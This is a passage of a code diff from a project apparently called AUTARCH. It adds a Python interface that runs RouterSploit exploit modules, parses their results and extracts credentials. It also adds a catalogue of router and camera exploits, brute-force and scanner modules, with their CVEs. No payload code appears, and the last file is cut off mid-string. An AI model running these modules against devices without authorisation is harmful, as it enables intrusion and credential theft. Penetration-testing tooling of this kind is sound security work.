RSF module execution.""" + status: RSFStatus + module_path: str + target: str = "" + + # Raw and cleaned output + raw_output: str = "" + cleaned_output: str = "" + + # Parsed results + successes: List[str] = field(default_factory=list) # [+] lines + info: List[str] = field(default_factory=list) # [*] lines + errors: List[str] = field(default_factory=list) # [-] lines + + # Credential results + credentials: List[Dict[str, str]] = field(default_factory=list) + + # Check result (True/False/None) + check_result: Optional[bool] = None + + # Execution metadata + execution_time: float = 0.0 + + +# ANSI escape code pattern +_ANSI_RE = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]|\x1b\([a-zA-Z]') + + +class RSFInterface: + """High-level interface for RouterSploit operations. + + Provides a clean API mirroring MSFInterface patterns: + - Module listing and search + - Module info and options + - Check (safe vulnerability verification) + - Run (full module execution) + - Output parsing and result formatting + """ + + def __init__(self): + self._manager = get_rsf_manager() + + def ensure_available(self) -> bool: + """Check that RSF is importable and available. + + Returns: + True if RSF is available + + Raises: + RSFError: If RSF is not available + """ + if not self._manager.is_available: + raise RSFError( + "RouterSploit is not available. " + "Check install path in Settings > RouterSploit Settings." + ) + return True + + @property + def is_available(self) -> bool: + """Check if RSF is available without raising.""" + return self._manager.is_available + + @property + def module_count(self) -> int: + """Get total number of available modules.""" + return self._manager.get_module_count() + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules, optionally filtered by type. + + Combines live RSF index with curated library data. + + Args: + module_type: Filter by type (exploits, creds, scanners, etc.) + + Returns: + List of module paths + """ + self.ensure_available() + + if module_type: + return self._manager.get_modules_by_type(module_type) + return self._manager.index_all_modules() + + def search_modules(self, query: str) -> List[str]: + """Search modules by keyword. + + Searches both live RSF index and curated library. + + Args: + query: Search string + + Returns: + List of matching module paths + """ + self.ensure_available() + + results = self._manager.search_modules(query) + + # Also search curated library for richer matches + try: + from .rsf_modules import search_modules as search_curated + curated = search_curated(query) + curated_paths = [m['path'] for m in curated if 'path' in m] + # Merge without duplicates, curated first + seen = set(results) + for path in curated_paths: + if path not in seen: + results.append(path) + seen.add(path) + except ImportError: + pass + + return results + + def get_module_info(self, path: str) -> RSFModuleInfo: + """Get metadata for a module. + + Tries curated library first, falls back to live introspection. + + Args: + path: Module path + + Returns: + RSFModuleInfo with module metadata + """ + # Try curated library first + try: + from .rsf_modules import get_module_info as get_curated_info + curated = get_curated_info(path) + if curated: + parts = path.split('/') + return RSFModuleInfo( + name=curated.get('name', path.split('/')[-1]), + path=path, + description=curated.get('description', ''), + authors=tuple(curated.get('authors', ())), + devices=tuple(curated.get('devices', ())), + references=tuple(curated.get('references', ())), + module_type=parts[0] if parts else "", + ) + except ImportError: + pass + + # Fall back to live introspection + self.ensure_available() + _, info = self._manager.load_module(path) + return info + + def get_module_options(self, path: str) -> List[Dict[str, Any]]: + """Get configurable options for a module. + + Args: + path: Module path + + Returns: + List of option dicts with name, type, default, description, current + """ + self.ensure_available() + instance, _ = self._manager.load_module(path) + return self._manager.get_module_options(instance) + + def check_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None) -> RSFResult: + """Run check() on a module -- safe vulnerability verification. + + Args: + path: Module path + options: Dict of option_name -> value to set before running + timeout: Execution timeout in seconds (default from config) + + Returns: + RSFResult with check results + """ + return self._execute_module(path, options, timeout, check_only=True) + + def run_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None) -> RSFResult: + """Run run() on a module -- full exploit execution. + + Args: + path: Module path + options: Dict of option_name -> value to set before running + timeout: Execution timeout in seconds (default from config) + + Returns: + RSFResult with execution results + """ + return self._execute_module(path, options, timeout, check_only=False) + + def _execute_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None, check_only: bool = False) -> RSFResult: + """Internal method to execute a module (check or run). + + Args: + path: Module path + options: Option overrides + timeout: Timeout in seconds + check_only: If True, run check() instead of run() + + Returns: + RSFResult + """ + if not self._manager.is_available: + return RSFResult( + status=RSFStatus.NOT_AVAILABLE, + module_path=path, + ) + + if timeout is None: + from .config import get_config + timeout = get_config().get_int('rsf', 'execution_timeout', 120) + + start_time = time.time() + + try: + # Load and configure module + instance, info = self._manager.load_module(path) + + target = "" + if options: + for name, value in options.items(): + self._manager.set_module_option(instance, name, value) + if name == 'target': + target = value + + # Get target from instance if not in options + if not target: + target = str(getattr(instance, 'target', '')) + + # Execute + if check_only: + check_result, raw_output = self._manager.execute_check(instance, timeout) + else: + completed, raw_output = self._manager.execute_run(instance, timeout) + check_result = None + + execution_time = time.time() - start_time + cleaned = self._clean_output(raw_output) + successes, info_lines, errors, credentials = self._parse_output(cleaned) + + # Determine status + if check_only: + if check_result is True: + status = RSFStatus.VULNERABLE + elif check_result is False: + status = RSFStatus.NOT_VULNERABLE + elif "[!]" in raw_output and "timed out" in raw_output.lower(): + status = RSFStatus.TIMEOUT + else: + status = RSFStatus.FAILED + else: + if "[!]" in raw_output and "timed out" in raw_output.lower(): + status = RSFStatus.TIMEOUT + elif errors and not successes: + status = RSFStatus.FAILED + elif successes or credentials: + status = RSFStatus.SUCCESS + elif completed: + status = RSFStatus.SUCCESS + else: + status = RSFStatus.FAILED + + return RSFResult( + status=status, + module_path=path, + target=target, + raw_output=raw_output, + cleaned_output=cleaned, + successes=successes, + info=info_lines, + errors=errors, + credentials=credentials, + check_result=check_result, + execution_time=execution_time, + ) + + except RSFError as e: + return RSFResult( + status=RSFStatus.FAILED, + module_path=path, + target=options.get('target', '') if options else '', + raw_output=str(e), + cleaned_output=str(e), + errors=[str(e)], + execution_time=time.time() - start_time, + ) + + def _clean_output(self, raw: str) -> str: + """Strip ANSI escape codes from output. + + Args: + raw: Raw output potentially containing ANSI codes + + Returns: + Cleaned text + """ + if not raw: + return "" + return _ANSI_RE.sub('', raw) + + def _parse_output(self, cleaned: str): + """Parse cleaned output into categorized lines. + + Categorizes lines by RSF prefix: + - [+] = success/finding + - [*] = informational + - [-] = error/failure + + Also extracts credentials from common patterns. + + Args: + cleaned: ANSI-stripped output + + Returns: + Tuple of (successes, info, errors, credentials) + """ + successes = [] + info_lines = [] + errors = [] + credentials = [] + + for line in cleaned.splitlines(): + stripped = line.strip() + if not stripped: + continue + + if stripped.startswith('[+]'): + successes.append(stripped[3:].strip()) + # Check for credential patterns + creds = self._extract_credentials(stripped) + if creds: + credentials.append(creds) + elif stripped.startswith('[*]'): + info_lines.append(stripped[3:].strip()) + elif stripped.startswith('[-]'): + errors.append(stripped[3:].strip()) + elif stripped.startswith('[!]'): + errors.append(stripped[3:].strip()) + + return successes, info_lines, errors, credentials + + def _extract_credentials(self, line: str) -> Optional[Dict[str, str]]: + """Extract credentials from a success line. + + Common RSF credential output patterns: + - [+] admin:password + - [+] Found valid credentials: admin / password + - [+] username:password on target:port + + Args: + line: A [+] success line + + Returns: + Dict with username/password keys, or None + """ + # Pattern: username:password + cred_match = re.search( + r'(?:credentials?|found|valid).*?(\S+)\s*[:/]\s*(\S+)', + line, re.IGNORECASE + ) + if cred_match: + return { + 'username': cred_match.group(1), + 'password': cred_match.group(2), + } + + # Simple colon-separated on [+] lines + content = line.replace('[+]', '').strip() + if ':' in content and len(content.split(':')) == 2: + parts = content.split(':') + # Only if parts look like creds (not URLs or paths) + if not any(x in parts[0].lower() for x in ['http', '/', '\\']): + return { + 'username': parts[0].strip(), + 'password': parts[1].strip(), + } + + return None + + def print_result(self, result: RSFResult, verbose: bool = False): + """Print formatted execution result. + + Args: + result: RSFResult to display + verbose: Show raw output if True + """ + print() + print(f" {Colors.BOLD}{Colors.WHITE}Execution Result{Colors.RESET}") + print(f" {Colors.DIM}{'─' * 50}{Colors.RESET}") + + # Status with color + status_colors = { + RSFStatus.SUCCESS: Colors.GREEN, + RSFStatus.VULNERABLE: Colors.RED, + RSFStatus.NOT_VULNERABLE: Colors.GREEN, + RSFStatus.FAILED: Colors.RED, + RSFStatus.TIMEOUT: Colors.YELLOW, + RSFStatus.NOT_AVAILABLE: Colors.YELLOW, + } + color = status_colors.get(result.status, Colors.WHITE) + print(f" {Colors.CYAN}Status:{Colors.RESET} {color}{result.status.value}{Colors.RESET}") + print(f" {Colors.CYAN}Module:{Colors.RESET} {result.module_path}") + if result.target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {result.target}") + print(f" {Colors.CYAN}Time:{Colors.RESET} {result.execution_time:.1f}s") + print() + + # Successes + if result.successes: + for line in result.successes: + print(f" {Colors.GREEN}[+]{Colors.RESET} {line}") + + # Info + if result.info: + for line in result.info: + print(f" {Colors.CYAN}[*]{Colors.RESET} {line}") + + # Errors + if result.errors: + for line in result.errors: + print(f" {Colors.RED}[-]{Colors.RESET} {line}") + + # Credentials + if result.credentials: + print() + print(f" {Colors.GREEN}{Colors.BOLD}Credentials Found:{Colors.RESET}") + for cred in result.credentials: + print(f" {Colors.GREEN}{cred.get('username', '?')}{Colors.RESET}:" + f"{Colors.YELLOW}{cred.get('password', '?')}{Colors.RESET}") + + # Verbose: raw output + if verbose and result.cleaned_output: + print() + print(f" {Colors.DIM}Raw Output:{Colors.RESET}") + for line in result.cleaned_output.splitlines(): + print(f" {Colors.DIM}{line}{Colors.RESET}") + + print() + + +# Singleton instance +_rsf_interface = None + + +def get_rsf_interface() -> RSFInterface: + """Get the global RSFInterface singleton instance.""" + global _rsf_interface + if _rsf_interface is None: + _rsf_interface = RSFInterface() + return _rsf_interface diff --git a/core/rsf_modules.py b/core/rsf_modules.py new file mode 100644 index 0000000..45a9e7d --- /dev/null +++ b/core/rsf_modules.py @@ -0,0 +1,542 @@ +""" +AUTARCH RouterSploit Curated Module Library +Offline-browsable metadata for key RSF modules. +Mirrors core/msf_modules.py patterns for RSF-specific modules. +""" + +from .banner import Colors + + +# ─── Module Library ───────────────────────────────────────────────────────── + +RSF_MODULES = { + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - ROUTERS + # ════════════════════════════════════════════════════════════════════════ + + # ── D-Link Routers ────────────────────────────────────────────────────── + 'exploits/routers/dlink/dir_300_600_rce': { + 'name': 'D-Link DIR-300 & DIR-600 RCE', + 'description': 'Exploits D-Link DIR-300, DIR-600 Remote Code Execution ' + 'vulnerability allowing command execution with root privileges.', + 'authors': ('Michael Messner', 'Marcin Bury'), + 'devices': ('D-Link DIR 300', 'D-Link DIR 600'), + 'references': ('http://www.s3cur1ty.de/m1adv2013-003',), + 'tags': ('dlink', 'rce', 'router', 'http'), + 'notes': 'Targets the web interface. Requires HTTP access to the router.', + }, + 'exploits/routers/dlink/dir_645_815_rce': { + 'name': 'D-Link DIR-645 & DIR-815 RCE', + 'description': 'Exploits D-Link DIR-645 and DIR-815 Remote Code Execution ' + 'vulnerability via the web interface.', + 'authors': ('Michael Messner', 'Marcin Bury'), + 'devices': ('DIR-815 v1.03b02', 'DIR-645 v1.02', 'DIR-645 v1.03', + 'DIR-600 below v2.16b01', 'DIR-300 revB v2.13b01', + 'DIR-412 Ver 1.14WWB02', 'DIR-110 Ver 1.01'), + 'references': ('http://www.s3cur1ty.de/m1adv2013-017',), + 'tags': ('dlink', 'rce', 'router', 'http'), + 'notes': 'Affects multiple DIR-series firmware versions.', + }, + 'exploits/routers/dlink/multi_hnap_rce': { + 'name': 'D-Link Multi HNAP RCE', + 'description': 'Exploits HNAP remote code execution in multiple D-Link devices ' + 'allowing command execution on the device.', + 'authors': ('Samuel Huntley', 'Craig Heffner', 'Marcin Bury'), + 'devices': ('D-Link DIR-645', 'D-Link DIR-880L', 'D-Link DIR-865L', + 'D-Link DIR-860L revA/B', 'D-Link DIR-815 revB', + 'D-Link DIR-300 revB', 'D-Link DIR-600 revB', + 'D-Link DAP-1650 revB'), + 'references': ('https://www.exploit-db.com/exploits/37171/', + 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'), + 'tags': ('dlink', 'rce', 'hnap', 'router', 'http'), + 'notes': 'HNAP (Home Network Administration Protocol) vulnerability ' + 'affecting a wide range of D-Link devices.', + }, + + # ── Cisco Routers ─────────────────────────────────────────────────────── + 'exploits/routers/cisco/rv320_command_injection': { + 'name': 'Cisco RV320 Command Injection', + 'description': 'Exploits Cisco RV320 Remote Command Injection in the ' + 'web-based certificate generator feature (CVE-2019-1652).', + 'authors': ('RedTeam Pentesting GmbH', 'GH0st3rs'), + 'devices': ('Cisco RV320 1.4.2.15 to 1.4.2.22', 'Cisco RV325'), + 'references': ('https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652',), + 'tags': ('cisco', 'rce', 'command_injection', 'router', 'cve-2019-1652'), + 'notes': 'Requires HTTPS access (port 443). Targets certificate generator.', + }, + 'exploits/routers/cisco/ios_http_authorization_bypass': { + 'name': 'Cisco IOS HTTP Authorization Bypass', + 'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to ' + 'bypass authentication and execute commands by specifying a ' + 'high access level in the URL (CVE-2001-0537).', + 'authors': ('renos stoikos',), + 'devices': ('Cisco IOS 11.3 to 12.2',), + 'references': ('http://www.cvedetails.com/cve/cve-2001-0537',), + 'tags': ('cisco', 'auth_bypass', 'ios', 'router', 'http', 'cve-2001-0537'), + 'notes': 'Classic IOS vulnerability. Only affects very old IOS versions.', + }, + + # ── Netgear Routers ───────────────────────────────────────────────────── + 'exploits/routers/netgear/dgn2200_ping_cgi_rce': { + 'name': 'Netgear DGN2200 RCE', + 'description': 'Exploits Netgear DGN2200 RCE via ping.cgi script ' + '(CVE-2017-6077).', + 'authors': ('SivertPL', 'Josh Abraham'), + 'devices': ('Netgear DGN2200v1-v4',), + 'references': ('https://www.exploit-db.com/exploits/41394/', + 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'), + 'tags': ('netgear', 'rce', 'router', 'http', 'cve-2017-6077'), + 'notes': 'Requires valid credentials (default: admin/password).', + }, + 'exploits/routers/netgear/multi_rce': { + 'name': 'Netgear Multi RCE', + 'description': 'Exploits remote command execution in multiple Netgear devices. ' + 'If vulnerable, opens a command loop with OS-level access.', + 'authors': ('Andrei Costin', 'Marcin Bury'), + 'devices': ('Netgear WG102', 'Netgear WG103', 'Netgear WN604', + 'Netgear WNDAP350', 'Netgear WNDAP360', 'Netgear WNAP320', + 'Netgear WNDAP660', 'Netgear WNDAP620'), + 'references': ('http://firmware.re/vulns/acsa-2015-001.php',), + 'tags': ('netgear', 'rce', 'router', 'http', 'multi'), + 'notes': 'Targets multiple Netgear enterprise wireless APs.', + }, + + # ── Mikrotik Routers ──────────────────────────────────────────────────── + 'exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure': { + 'name': 'Mikrotik WinBox Auth Bypass - Credentials Disclosure', + 'description': 'Bypasses authentication through WinBox service in Mikrotik ' + 'devices v6.29 to v6.42 and retrieves admin credentials.', + 'authors': ('Alireza Mosajjal', 'Mostafa Yalpaniyan', 'Marcin Bury'), + 'devices': ('Mikrotik RouterOS 6.29 to 6.42',), + 'references': ('https://n0p.me/winbox-bug-dissection/', + 'https://github.com/BasuCert/WinboxPoC'), + 'tags': ('mikrotik', 'auth_bypass', 'creds', 'winbox', 'router', 'tcp'), + 'notes': 'Targets WinBox service (port 8291). Very high impact.', + }, + + # ── TP-Link Routers ───────────────────────────────────────────────────── + 'exploits/routers/tplink/archer_c2_c20i_rce': { + 'name': 'TP-Link Archer C2 & C20i RCE', + 'description': 'Exploits TP-Link Archer C2 and C20i RCE allowing root-level ' + 'command execution.', + 'authors': ('Michal Sajdak', 'Marcin Bury'), + 'devices': ('TP-Link Archer C2', 'TP-Link Archer C20i'), + 'references': (), + 'tags': ('tplink', 'rce', 'router', 'http'), + 'notes': 'Targets the Archer web interface.', + }, + + # ── Asus Routers ──────────────────────────────────────────────────────── + 'exploits/routers/asus/asuswrt_lan_rce': { + 'name': 'AsusWRT LAN RCE', + 'description': 'Exploits multiple vulnerabilities in AsusWRT firmware to achieve ' + 'RCE: HTTP auth bypass + VPN config upload + infosvr command ' + 'execution (CVE-2018-5999, CVE-2018-6000).', + 'authors': ('Pedro Ribeiro', 'Marcin Bury'), + 'devices': ('AsusWRT < v3.0.0.4.384.10007',), + 'references': ('https://nvd.nist.gov/vuln/detail/CVE-2018-5999', + 'https://nvd.nist.gov/vuln/detail/CVE-2018-6000'), + 'tags': ('asus', 'rce', 'auth_bypass', 'router', 'http', 'udp', + 'cve-2018-5999', 'cve-2018-6000'), + 'notes': 'Chains HTTP auth bypass with UDP infosvr for full RCE.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - CAMERAS + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/cameras/dlink/dcs_930l_932l_auth_bypass': { + 'name': 'D-Link DCS Cameras Auth Bypass', + 'description': 'D-Link DCS web cameras allow unauthenticated attackers to ' + 'obtain device configuration by accessing unprotected URLs.', + 'authors': ('Roberto Paleari', 'Dino Causevic'), + 'devices': ('D-Link DCS-930L fw 1.04', 'D-Link DCS-932L fw 1.02'), + 'references': ('https://www.exploit-db.com/exploits/24442/',), + 'tags': ('dlink', 'camera', 'auth_bypass', 'http'), + 'notes': 'Uses port 8080 by default.', + }, + 'exploits/cameras/cisco/video_surv_path_traversal': { + 'name': 'Cisco Video Surveillance Path Traversal', + 'description': 'Path traversal in Cisco Video Surveillance Operations ' + 'Manager 6.3.2 allowing file reads from the filesystem.', + 'authors': ('b.saleh', 'Marcin Bury'), + 'devices': ('Cisco Video Surveillance Operations Manager 6.3.2',), + 'references': ('https://www.exploit-db.com/exploits/38389/',), + 'tags': ('cisco', 'camera', 'path_traversal', 'http'), + 'notes': 'Read /etc/passwd or other files via path traversal.', + }, + 'exploits/cameras/brickcom/corp_network_cameras_conf_disclosure': { + 'name': 'Brickcom Network Camera Config Disclosure', + 'description': 'Exploits Brickcom Corporation Network Camera configuration ' + 'disclosure vulnerability to read device config and credentials.', + 'authors': ('Orwelllabs', 'Marcin Bury'), + 'devices': ('Brickcom FB-100Ae', 'Brickcom WCB-100Ap', + 'Brickcom OB-200Np-LR', 'Brickcom VD-E200Nf'), + 'references': ('https://www.exploit-db.com/exploits/39696/',), + 'tags': ('brickcom', 'camera', 'config_disclosure', 'http'), + 'notes': 'Extracts admin credentials from configuration.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - GENERIC + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/generic/heartbleed': { + 'name': 'OpenSSL Heartbleed', + 'description': 'Exploits OpenSSL Heartbleed vulnerability (CVE-2014-0160). ' + 'Fake heartbeat length leaks memory data from the server.', + 'authors': ('Neel Mehta', 'Jared Stafford', 'Marcin Bury'), + 'devices': ('Multi',), + 'references': ('http://www.cvedetails.com/cve/2014-0160', + 'http://heartbleed.com/'), + 'tags': ('heartbleed', 'openssl', 'ssl', 'tls', 'memory_leak', 'generic', + 'cve-2014-0160'), + 'notes': 'Tests for Heartbleed on any SSL/TLS service. ' + 'Default port 443.', + }, + 'exploits/generic/shellshock': { + 'name': 'Shellshock', + 'description': 'Exploits Shellshock vulnerability (CVE-2014-6271) allowing ' + 'OS command execution via crafted HTTP headers.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': ('https://access.redhat.com/articles/1200223',), + 'tags': ('shellshock', 'bash', 'rce', 'http', 'generic', 'cve-2014-6271'), + 'notes': 'Injects via HTTP headers (default: User-Agent). ' + 'Configure path and method as needed.', + }, + 'exploits/generic/ssh_auth_keys': { + 'name': 'SSH Authorized Keys', + 'description': 'Tests for known default SSH keys that ship with various ' + 'embedded devices and appliances.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': (), + 'tags': ('ssh', 'keys', 'default_creds', 'generic'), + 'notes': 'Checks for factory SSH keys common on IoT/embedded devices.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # CREDENTIALS - GENERIC + # ════════════════════════════════════════════════════════════════════════ + + 'creds/generic/ftp_bruteforce': { + 'name': 'FTP Bruteforce', + 'description': 'Performs bruteforce attack against FTP service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('ftp', 'bruteforce', 'creds', 'generic'), + 'notes': 'Supports file:// targets for batch mode. ' + 'Default port 21. Threaded (default 8 threads).', + }, + 'creds/generic/ssh_bruteforce': { + 'name': 'SSH Bruteforce', + 'description': 'Performs bruteforce attack against SSH service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('ssh', 'bruteforce', 'creds', 'generic'), + 'notes': 'Default port 22. Threaded. Supports batch targets via file://.', + }, + 'creds/generic/telnet_bruteforce': { + 'name': 'Telnet Bruteforce', + 'description': 'Performs bruteforce attack against Telnet service. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('telnet', 'bruteforce', 'creds', 'generic'), + 'notes': 'Default port 23. Common on IoT devices with telnet enabled.', + }, + 'creds/generic/snmp_bruteforce': { + 'name': 'SNMP Bruteforce', + 'description': 'Performs bruteforce attack against SNMP service. ' + 'Discovers valid community strings.', + 'authors': ('Marcin Bury',), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('snmp', 'bruteforce', 'creds', 'generic', 'community'), + 'notes': 'Tests SNMP community strings. Default port 161. ' + 'Supports SNMPv1 and SNMPv2c.', + }, + 'creds/generic/http_basic_digest_bruteforce': { + 'name': 'HTTP Basic/Digest Bruteforce', + 'description': 'Performs bruteforce against HTTP Basic/Digest authentication. ' + 'Displays valid credentials when found.', + 'authors': ('Marcin Bury', 'Alexander Yakovlev'), + 'devices': ('Multiple devices',), + 'references': (), + 'tags': ('http', 'bruteforce', 'creds', 'generic', 'basic_auth', 'digest'), + 'notes': 'Targets HTTP authentication. Configure path to the protected URL.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # SCANNERS + # ════════════════════════════════════════════════════════════════════════ + + 'scanners/autopwn': { + 'name': 'AutoPwn', + 'description': 'Comprehensive scanner that tests ALL exploit and credential ' + 'modules against a target. The ultimate "scan everything" tool.', + 'authors': ('Marcin Bury',), + 'devices': ('Multi',), + 'references': (), + 'tags': ('scanner', 'autopwn', 'comprehensive', 'all'), + 'notes': 'Runs all exploits and creds against the target. ' + 'Can be filtered by vendor. Checks HTTP, FTP, SSH, Telnet, SNMP. ' + 'Very thorough but slow. Use specific scanners for faster results.', + }, + 'scanners/routers/router_scan': { + 'name': 'Router Scanner', + 'description': 'Scans for router vulnerabilities and weaknesses. ' + 'Tests generic and router-specific exploit modules.', + 'authors': ('Marcin Bury',), + 'devices': ('Router',), + 'references': (), + 'tags': ('scanner', 'router', 'comprehensive'), + 'notes': 'Faster than AutoPwn -- only tests router-relevant modules.', + }, + 'scanners/cameras/camera_scan': { + 'name': 'Camera Scanner', + 'description': 'Scans for IP camera vulnerabilities and weaknesses. ' + 'Tests generic and camera-specific exploit modules.', + 'authors': ('Marcin Bury',), + 'devices': ('Cameras',), + 'references': (), + 'tags': ('scanner', 'camera', 'ip_camera', 'comprehensive'), + 'notes': 'Tests all camera-related exploits against the target.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - MISC + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/misc/asus/b1m_projector_rce': { + 'name': 'Asus B1M Projector RCE', + 'description': 'Exploits Asus B1M Projector RCE allowing root-level ' + 'command execution.', + 'authors': ('Hacker House', 'Marcin Bury'), + 'devices': ('Asus B1M Projector',), + 'references': ('https://www.myhackerhouse.com/asus-b1m-projector-remote-root-0day/',), + 'tags': ('asus', 'projector', 'rce', 'misc', 'iot'), + 'notes': 'Targets network-connected projectors.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - MORE ROUTERS + # ════════════════════════════════════════════════════════════════════════ + + 'exploits/routers/linksys/smart_wifi_password_disclosure': { + 'name': 'Linksys Smart WiFi Password Disclosure', + 'description': 'Exploits information disclosure in Linksys Smart WiFi ' + 'routers to extract passwords.', + 'authors': ('Marcin Bury',), + 'devices': ('Linksys Smart WiFi routers',), + 'references': (), + 'tags': ('linksys', 'password', 'disclosure', 'router', 'http'), + 'notes': 'Targets Linksys Smart WiFi web interface.', + }, + 'exploits/routers/zyxel/d1000_rce': { + 'name': 'Zyxel D1000 RCE', + 'description': 'Exploits remote code execution in Zyxel D1000 modem/routers.', + 'authors': ('Marcin Bury',), + 'devices': ('Zyxel D1000',), + 'references': (), + 'tags': ('zyxel', 'rce', 'router', 'modem'), + 'notes': 'Targets Zyxel DSL modem/router combo devices.', + }, + 'exploits/routers/huawei/hg520_info_disclosure': { + 'name': 'Huawei HG520 Info Disclosure', + 'description': 'Information disclosure in Huawei HG520 home gateway ' + 'allowing extraction of device configuration.', + 'authors': ('Marcin Bury',), + 'devices': ('Huawei HG520',), + 'references': (), + 'tags': ('huawei', 'info_disclosure', 'router', 'http'), + 'notes': 'Targets Huawei home gateway web interface.', + }, +} + + +# ─── Module Type Mapping ──────────────────────────────────────────────────── + +MODULE_TYPES = { + 'exploits': { + 'name': 'Exploits', + 'description': 'Vulnerability exploits for routers, cameras, and devices', + 'color': Colors.RED, + }, + 'creds': { + 'name': 'Credentials', + 'description': 'Default credential and brute-force modules', + 'color': Colors.YELLOW, + }, + 'scanners': { + 'name': 'Scanners', + 'description': 'Automated vulnerability scanners (AutoPwn, etc.)', + 'color': Colors.CYAN, + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Shellcode and payload generators', + 'color': Colors.MAGENTA, + }, + 'encoders': { + 'name': 'Encoders', + 'description': 'Payload encoding and obfuscation', + 'color': Colors.GREEN, + }, +} + + +# ─── API Functions ────────────────────────────────────────────────────────── + +def get_module_info(module_path: str) -> dict: + """Get curated module info by path. + + Args: + module_path: Module path like 'exploits/routers/dlink/dir_300_600_rce' + + Returns: + Module info dict or None + """ + return RSF_MODULES.get(module_path) + + +def get_module_description(module_path: str) -> str: + """Get just the description for a module. + + Args: + module_path: Module path + + Returns: + Description string or empty string + """ + info = RSF_MODULES.get(module_path) + if info: + return info.get('description', '') + return '' + + +def search_modules(query: str) -> list: + """Search curated modules by keyword. + + Searches name, description, tags, devices, and path. + + Args: + query: Search string (case-insensitive) + + Returns: + List of matching module info dicts (with 'path' key added) + """ + results = [] + query_lower = query.lower() + + for path, info in RSF_MODULES.items(): + # Search in path + if query_lower in path.lower(): + results.append({**info, 'path': path}) + continue + + # Search in name + if query_lower in info.get('name', '').lower(): + results.append({**info, 'path': path}) + continue + + # Search in description + if query_lower in info.get('description', '').lower(): + results.append({**info, 'path': path}) + continue + + # Search in tags + if any(query_lower in tag.lower() for tag in info.get('tags', ())): + results.append({**info, 'path': path}) + continue + + # Search in devices + if any(query_lower in dev.lower() for dev in info.get('devices', ())): + results.append({**info, 'path': path}) + continue + + return results + + +def get_modules_by_type(module_type: str) -> list: + """Get curated modules filtered by type. + + Args: + module_type: One of 'exploits', 'creds', 'scanners', etc. + + Returns: + List of matching module info dicts (with 'path' key added) + """ + results = [] + for path, info in RSF_MODULES.items(): + if path.startswith(module_type + '/'): + results.append({**info, 'path': path}) + return results + + +def format_module_help(module_path: str) -> str: + """Format detailed help text for a module. + + Args: + module_path: Module path + + Returns: + Formatted help string + """ + info = RSF_MODULES.get(module_path) + if not info: + return f" {Colors.YELLOW}No curated info for '{module_path}'{Colors.RESET}" + + lines = [] + lines.append(f" {Colors.BOLD}{Colors.WHITE}{info.get('name', module_path)}{Colors.RESET}") + lines.append(f" {Colors.DIM}Path: {module_path}{Colors.RESET}") + lines.append(f"") + lines.append(f" {info.get('description', '')}") + + if info.get('authors'): + authors = ', '.join(info['authors']) + lines.append(f"") + lines.append(f" {Colors.CYAN}Authors:{Colors.RESET} {authors}") + + if info.get('devices'): + lines.append(f" {Colors.CYAN}Devices:{Colors.RESET}") + for dev in info['devices']: + lines.append(f" - {dev}") + + if info.get('references'): + lines.append(f" {Colors.CYAN}References:{Colors.RESET}") + for ref in info['references']: + lines.append(f" {Colors.DIM}{ref}{Colors.RESET}") + + if info.get('notes'): + lines.append(f"") + lines.append(f" {Colors.YELLOW}Note:{Colors.RESET} {info['notes']}") + + return '\n'.join(lines) + + +def get_all_modules() -> dict: + """Get all curated modules. + + Returns: + The full RSF_MODULES dict + """ + return RSF_MODULES + + +def get_type_info(module_type: str) -> dict: + """Get info about a module type. + + Args: + module_type: One of 'exploits', 'creds', 'scanners', etc. + + Returns: + Type info dict or None + """ + return MODULE_TYPES.get(module_type) diff --git a/core/rsf_terms.py b/core/rsf_terms.py new file mode 100644 index 0000000..7018fca --- /dev/null +++ b/core/rsf_terms.py @@ -0,0 +1,439 @@ +""" +AUTARCH RouterSploit Option Term Bank +Centralized descriptions and validation for RSF module options. +Mirrors core/msf_terms.py patterns for RSF-specific options. +""" + +from .banner import Colors + + +# ─── RSF Settings Definitions ─────────────────────────────────────────────── + +RSF_SETTINGS = { + # ── Target Options ────────────────────────────────────────────────────── + 'target': { + 'description': 'Target IPv4 or IPv6 address of the device to test. ' + 'Can also be set to file:// path for batch targeting ' + '(e.g. file:///tmp/targets.txt with one IP per line).', + 'input_type': 'ip', + 'examples': ['192.168.1.1', '10.0.0.1', 'file:///tmp/targets.txt'], + 'default': '', + 'aliases': ['TARGET', 'rhost'], + 'category': 'target', + 'required': True, + 'notes': 'Most RSF modules require a target. Batch mode via file:// ' + 'is supported by modules decorated with @multi.', + }, + 'port': { + 'description': 'Target port number for the service being tested. ' + 'Default depends on the module protocol (80 for HTTP, ' + '21 for FTP, 22 for SSH, etc.).', + 'input_type': 'port', + 'examples': ['80', '443', '8080', '22'], + 'default': '', + 'aliases': ['PORT', 'rport'], + 'category': 'target', + 'required': False, + 'notes': 'Each module sets an appropriate default port. Only override ' + 'if the target runs on a non-standard port.', + }, + 'ssl': { + 'description': 'Enable SSL/TLS for the connection. Set to true for ' + 